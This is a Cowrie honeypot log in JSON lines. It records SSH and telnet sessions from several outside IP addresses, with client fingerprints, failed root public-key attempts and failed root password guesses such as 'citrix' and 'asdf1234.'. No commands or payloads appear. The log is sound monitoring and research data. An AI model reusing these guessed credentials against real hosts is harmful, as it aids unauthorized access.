{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"94:ff:c6:d3:b8:d8:75:33:c3:86:f3:ab:fb:7a:a4:0d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuz+a9CgKp07HNuMeZN4Ir2XjE71hH+hX9hw4e1tUBWVFpZ7t9D8QgRIlBP/kNIgIqJQnojrFMDjRrF0FH+ub5l1ppviKYxmHqNwq9X2Zn2FhUTrhnFE0DtjvWmxoyxtWyBPkTsrEKBhUTm5wE1qfb4rs5rtXAV83Z2JCnBZHONNsVxBO6X1m+rsfI0FKsojCPif2xKfEvHKzDkte/SAySZCR4yXCFeBHUwwpY3U5b5j59rpfZ8gTC779+3E/5alY5djOfIDc+fUz8cn9Y+nUUoov4DMcV81liQzv0qjmdYQ//i8chymZfZEwCp3Rs21sJg4yEn75Z8VB40f6EhhrX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 94:ff:c6:d3:b8:d8:75:33:c3:86:f3:ab:fb:7a:a4:0d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:23:42.619658Z","src_ip":"154.16.115.163","session":"dd94b77bb5ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"94:ff:c6:d3:b8:d8:75:33:c3:86:f3:ab:fb:7a:a4:0d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuz+a9CgKp07HNuMeZN4Ir2XjE71hH+hX9hw4e1tUBWVFpZ7t9D8QgRIlBP/kNIgIqJQnojrFMDjRrF0FH+ub5l1ppviKYxmHqNwq9X2Zn2FhUTrhnFE0DtjvWmxoyxtWyBPkTsrEKBhUTm5wE1qfb4rs5rtXAV83Z2JCnBZHONNsVxBO6X1m+rsfI0FKsojCPif2xKfEvHKzDkte/SAySZCR4yXCFeBHUwwpY3U5b5j59rpfZ8gTC779+3E/5alY5djOfIDc+fUz8cn9Y+nUUoov4DMcV81liQzv0qjmdYQ//i8chymZfZEwCp3Rs21sJg4yEn75Z8VB40f6EhhrX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:23:42.623238Z","src_ip":"154.16.115.163","session":"dd94b77bb5ce","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"be:9c:e9:c6:a6:e6:ec:e4:89:89:f7:34:f9:61:05:36","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDJwqT53WkSmcjGZJDz7vLERu4FreLUiBkqPxyMYyGGbITaYG9WJ+moRnCBfPJrIYzGOP7DzxW5LXBacwaUgkqoENNKyYVbXU4OsBKzB8ILXcUgAxVHqWSZJqHhu0Smn6Ty62ZzwRB7ygV8/AIrT3uJbhxglc/0uZ+Lf1L+U9eyqMHq7EhHJw3laXxTqmlZguILmloKVROYS78nyWHk9LAYL6cPkWNkFf0X5tCN3oAr70ob33dInpa7YwR3DT7QqjlUZ82exHTH8/NBwwTRCiKv4dtR74TIcJfX6O27VrhplwcT97R/hek0I5h9utTZ3ZRPr72GGDirfxjwnDdOHVx8sY1T7GorLPZRMh3u2YLU2xuY8kHkdcXpY/DH9Rnt6SNxKMRslWe79XeJ6UcHxd65nnCujPBbt7rwVe7fMfwqIc5lau7V9WNCajaszC0kOtdI6pQv4T7CVCREayBpCNK9qGkTTlMCZErNH2puylduhgvpZUNyeAXHuXp1j2thTlSpxoMORpRD3jp841QLCMHxPlo37VYY9F94PdF1fnpsBIfStOWGk7+coRF2LgUE4SUCWWODS5K4gh6t931/Q8/lg9Byx+xzyson3knRejuqIwFVEaww7M8vU+5/P8FHfeTTQvyK+tAYMDeuaEk4iHAlJGN+xsHDEtGcL8PMwAu4wQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint be:9c:e9:c6:a6:e6:ec:e4:89:89:f7:34:f9:61:05:36","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:23:42.653940Z","src_ip":"154.16.115.163","session":"dd94b77bb5ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"be:9c:e9:c6:a6:e6:ec:e4:89:89:f7:34:f9:61:05:36","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDJwqT53WkSmcjGZJDz7vLERu4FreLUiBkqPxyMYyGGbITaYG9WJ+moRnCBfPJrIYzGOP7DzxW5LXBacwaUgkqoENNKyYVbXU4OsBKzB8ILXcUgAxVHqWSZJqHhu0Smn6Ty62ZzwRB7ygV8/AIrT3uJbhxglc/0uZ+Lf1L+U9eyqMHq7EhHJw3laXxTqmlZguILmloKVROYS78nyWHk9LAYL6cPkWNkFf0X5tCN3oAr70ob33dInpa7YwR3DT7QqjlUZ82exHTH8/NBwwTRCiKv4dtR74TIcJfX6O27VrhplwcT97R/hek0I5h9utTZ3ZRPr72GGDirfxjwnDdOHVx8sY1T7GorLPZRMh3u2YLU2xuY8kHkdcXpY/DH9Rnt6SNxKMRslWe79XeJ6UcHxd65nnCujPBbt7rwVe7fMfwqIc5lau7V9WNCajaszC0kOtdI6pQv4T7CVCREayBpCNK9qGkTTlMCZErNH2puylduhgvpZUNyeAXHuXp1j2thTlSpxoMORpRD3jp841QLCMHxPlo37VYY9F94PdF1fnpsBIfStOWGk7+coRF2LgUE4SUCWWODS5K4gh6t931/Q8/lg9Byx+xzyson3knRejuqIwFVEaww7M8vU+5/P8FHfeTTQvyK+tAYMDeuaEk4iHAlJGN+xsHDEtGcL8PMwAu4wQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:23:42.658244Z","src_ip":"154.16.115.163","session":"dd94b77bb5ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:23:42.689066Z","src_ip":"154.16.115.163","session":"dd94b77bb5ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.166.146","src_port":37714,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ea0c5ae3aee","protocol":"ssh","message":"New connection: 43.135.166.146:37714 (10.17.0.5:22) [session: 6ea0c5ae3aee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:23:44.495521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:23:44.500400Z","src_ip":"43.135.166.146","session":"6ea0c5ae3aee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:23:44.570164Z","src_ip":"43.135.166.146","session":"6ea0c5ae3aee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"citrix","message":"login attempt [root/citrix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:23:44.882734Z","src_ip":"43.135.166.146","session":"6ea0c5ae3aee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:23:45.955850Z","src_ip":"43.135.166.146","session":"6ea0c5ae3aee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.75.149.221","src_port":53164,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea548114cb3f","protocol":"ssh","message":"New connection: 51.75.149.221:53164 (10.17.0.5:22) [session: ea548114cb3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:23:58.741562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:23:58.746319Z","src_ip":"51.75.149.221","session":"ea548114cb3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:23:58.839682Z","src_ip":"51.75.149.221","session":"ea548114cb3f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"19:f1:04:45:87:a0:ae:3a:4f:48:cd:52:f2:90:d1:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCszRc9F87iWL8mvfT9/fJs41XNRZ4fWw60m9k9qqgULCKvNyynlgxp3tE9OZgWT9pRPAYDemG/Bno1GttfKg3edYQH4n3QojPEIW+U7EyLuXDPNIaTkYtyPPlXQGE4L+bSs8ad6tU/QPmhEAufrS5uL+fG6fp3/kYof+nzchwc3DSUybuh3hhr9C2pDEJCyqX5UfglvhQIkYSfM+RPCJkoCaBEv5PgiAVJoNECo1aAqBHXel7rgts1xPwJjaFvFo8nuIlerKGlr1lrW6jRztvhR7ril7bNvbKxo9TO9qOH2MPf+zF6CJfcO8yhh0Wkr6ILVVLmqnNmr7hht1LiVKc9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 19:f1:04:45:87:a0:ae:3a:4f:48:cd:52:f2:90:d1:45","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:23:59.278626Z","src_ip":"51.75.149.221","session":"ea548114cb3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"19:f1:04:45:87:a0:ae:3a:4f:48:cd:52:f2:90:d1:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCszRc9F87iWL8mvfT9/fJs41XNRZ4fWw60m9k9qqgULCKvNyynlgxp3tE9OZgWT9pRPAYDemG/Bno1GttfKg3edYQH4n3QojPEIW+U7EyLuXDPNIaTkYtyPPlXQGE4L+bSs8ad6tU/QPmhEAufrS5uL+fG6fp3/kYof+nzchwc3DSUybuh3hhr9C2pDEJCyqX5UfglvhQIkYSfM+RPCJkoCaBEv5PgiAVJoNECo1aAqBHXel7rgts1xPwJjaFvFo8nuIlerKGlr1lrW6jRztvhR7ril7bNvbKxo9TO9qOH2MPf+zF6CJfcO8yhh0Wkr6ILVVLmqnNmr7hht1LiVKc9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:23:59.282685Z","src_ip":"51.75.149.221","session":"ea548114cb3f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d9:fc:ab:60:b0:61:95:ae:83:10:b6:71:c4:3a:9f:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPELpI7QnE88IJjAmXINLJ2ngoc9GDzdVKF8ejjO5+fSzjaTtVrjHtsRVb/fF1RJ5bit/IFYWZtUFp7eQrQR4nu1Ws7l+dioa+ElAqr2QyOka1UBB19MX7HT3BFZcuEXS7O/Sez7nVORapPqfrMUD8sCukjKXUgnrrEMnkzbrCRO2qCxYCPRl3FgLf+t3oQqlv7EyeejuE/rmwASowFFSqP6+KWmiZj1MvtsTyE/sqs9n454G0wr4GZSo4jpd7941fwbPBN9a23y22oifoH516vjyjxNfGq5gyrPUeclroWfce4PnHEzCi7mpkCJ93iTniMloZQFYShXA3a4ZATZRL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d9:fc:ab:60:b0:61:95:ae:83:10:b6:71:c4:3a:9f:cb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:23:59.381178Z","src_ip":"51.75.149.221","session":"ea548114cb3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d9:fc:ab:60:b0:61:95:ae:83:10:b6:71:c4:3a:9f:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPELpI7QnE88IJjAmXINLJ2ngoc9GDzdVKF8ejjO5+fSzjaTtVrjHtsRVb/fF1RJ5bit/IFYWZtUFp7eQrQR4nu1Ws7l+dioa+ElAqr2QyOka1UBB19MX7HT3BFZcuEXS7O/Sez7nVORapPqfrMUD8sCukjKXUgnrrEMnkzbrCRO2qCxYCPRl3FgLf+t3oQqlv7EyeejuE/rmwASowFFSqP6+KWmiZj1MvtsTyE/sqs9n454G0wr4GZSo4jpd7941fwbPBN9a23y22oifoH516vjyjxNfGq5gyrPUeclroWfce4PnHEzCi7mpkCJ93iTniMloZQFYShXA3a4ZATZRL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:23:59.385832Z","src_ip":"51.75.149.221","session":"ea548114cb3f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"76:2b:4e:1f:5b:00:25:c6:37:41:86:8c:a0:21:9f:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAwEZosS+VHTDiQqeABZVelSkqQN6YmkGPqu+jT3ENEZjFDY7kOhAldptlz67MJ0VpiVdxJIJEMEHYRz2VLqsSgPrx1R72ydMYS3mSc1PHbGYzYy2lMqxh0oNBD0wtLlNhPsjS/lNXG/wvF2oDtd+u1IHU1oqXsSkUSe5IcjyIytE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 76:2b:4e:1f:5b:00:25:c6:37:41:86:8c:a0:21:9f:ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:23:59.479310Z","src_ip":"51.75.149.221","session":"ea548114cb3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"76:2b:4e:1f:5b:00:25:c6:37:41:86:8c:a0:21:9f:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAwEZosS+VHTDiQqeABZVelSkqQN6YmkGPqu+jT3ENEZjFDY7kOhAldptlz67MJ0VpiVdxJIJEMEHYRz2VLqsSgPrx1R72ydMYS3mSc1PHbGYzYy2lMqxh0oNBD0wtLlNhPsjS/lNXG/wvF2oDtd+u1IHU1oqXsSkUSe5IcjyIytE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:23:59.483786Z","src_ip":"51.75.149.221","session":"ea548114cb3f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"61:c0:56:8d:bb:95:e2:5d:71:ca:01:1e:63:a8:60:22","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwd7aIrL5Gkip60h15UkkU1a5rSbScNQeCKPiud2OW8TRr778l0LGugWGseHEs6OQzf3q89ZTibCGfMscSf93mRFB89QkMhIhcA79rqyMxXrtJeO4mtI8eNkoVAdYB07mUyFK3rh7XuTs+7wPJQ/UkGE6W1mgLHTg3+2PUDy+KepNjz76XHoABLj8d+OaQB5w5z15kbjNxkc2Wsfy08wWRz4d2BGKoDxB55+qsxG01z067fDThAeNyWjMGxZ/BT6IAvzKsjhFLw5wZ6cXD9BhzDMpH/HFx0hOEIa4nbOaKBwIE8BjBo0jRUw9Uoj6PzOdA7XZAYcQU7B2nCmuoW8tj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 61:c0:56:8d:bb:95:e2:5d:71:ca:01:1e:63:a8:60:22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:23:59.578561Z","src_ip":"51.75.149.221","session":"ea548114cb3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"61:c0:56:8d:bb:95:e2:5d:71:ca:01:1e:63:a8:60:22","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwd7aIrL5Gkip60h15UkkU1a5rSbScNQeCKPiud2OW8TRr778l0LGugWGseHEs6OQzf3q89ZTibCGfMscSf93mRFB89QkMhIhcA79rqyMxXrtJeO4mtI8eNkoVAdYB07mUyFK3rh7XuTs+7wPJQ/UkGE6W1mgLHTg3+2PUDy+KepNjz76XHoABLj8d+OaQB5w5z15kbjNxkc2Wsfy08wWRz4d2BGKoDxB55+qsxG01z067fDThAeNyWjMGxZ/BT6IAvzKsjhFLw5wZ6cXD9BhzDMpH/HFx0hOEIa4nbOaKBwIE8BjBo0jRUw9Uoj6PzOdA7XZAYcQU7B2nCmuoW8tj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:23:59.582676Z","src_ip":"51.75.149.221","session":"ea548114cb3f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1b:92:7a:a8:e6:f9:30:93:67:4c:fc:95:85:07:b0:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDaxsm1Wkwe1PUnLPwm5ZmmyYYXQgY/DpKgYXadUATsunHj2FMBUWD526cWnHprbFpnR579/S4HAvDGHczKvQky69r0UXzSkTubWc/RS96EzqFtRH0v70/TSEppuMfJX64SUsjQ9iG0B4QdMkYvFpmtQwP/Pp1zV60TYyTwTyxKpdMOeGa/Hjiv2DTHWk/Oju5sAkM8onjdRxes9wwW6Ko7sGaP1p0hoX3hFMMU8zeGirNutKlrpk/uUcw44fsWkKlt/QTioep9KQTiKzkORuU4hvgSCQ7syl9gvRH18O8fkDoj3I9d7E92XJK3lx9TZxb7gY+MZnmUmoEcVLbMhaBZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1b:92:7a:a8:e6:f9:30:93:67:4c:fc:95:85:07:b0:96","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:23:59.675549Z","src_ip":"51.75.149.221","session":"ea548114cb3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1b:92:7a:a8:e6:f9:30:93:67:4c:fc:95:85:07:b0:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDaxsm1Wkwe1PUnLPwm5ZmmyYYXQgY/DpKgYXadUATsunHj2FMBUWD526cWnHprbFpnR579/S4HAvDGHczKvQky69r0UXzSkTubWc/RS96EzqFtRH0v70/TSEppuMfJX64SUsjQ9iG0B4QdMkYvFpmtQwP/Pp1zV60TYyTwTyxKpdMOeGa/Hjiv2DTHWk/Oju5sAkM8onjdRxes9wwW6Ko7sGaP1p0hoX3hFMMU8zeGirNutKlrpk/uUcw44fsWkKlt/QTioep9KQTiKzkORuU4hvgSCQ7syl9gvRH18O8fkDoj3I9d7E92XJK3lx9TZxb7gY+MZnmUmoEcVLbMhaBZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:23:59.681175Z","src_ip":"51.75.149.221","session":"ea548114cb3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:23:59.775328Z","src_ip":"51.75.149.221","session":"ea548114cb3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":56906,"dst_ip":"10.17.0.5","dst_port":23,"session":"943a37eaaa3a","protocol":"telnet","message":"New connection: 167.71.238.254:56906 (10.17.0.5:23) [session: 943a37eaaa3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:24:24.972674Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.85.41.170","src_port":41988,"dst_ip":"159.203.135.109","dst_port":22,"session":"929875f2109b","protocol":"ssh","message":"New connection: 190.85.41.170:41988 (159.203.135.109:22) [session: 929875f2109b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:24:29.917397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:24:29.955065Z","src_ip":"190.85.41.170","session":"929875f2109b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:24:30.041257Z","src_ip":"190.85.41.170","session":"929875f2109b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdf1234.","message":"login attempt [root/asdf1234.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:24:30.421299Z","src_ip":"190.85.41.170","session":"929875f2109b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:24:31.501138Z","src_ip":"190.85.41.170","session":"929875f2109b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":23.439138412475586,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:24:48.411663Z","src_ip":"167.71.238.254","session":"943a37eaaa3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"205.254.166.156","src_port":5693,"dst_ip":"159.203.135.109","dst_port":22,"session":"7422ac3a39f8","protocol":"ssh","message":"New connection: 205.254.166.156:5693 (159.203.135.109:22) [session: 7422ac3a39f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:24:57.877356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:24:57.882070Z","src_ip":"205.254.166.156","session":"7422ac3a39f8","protocol":"ssh"}
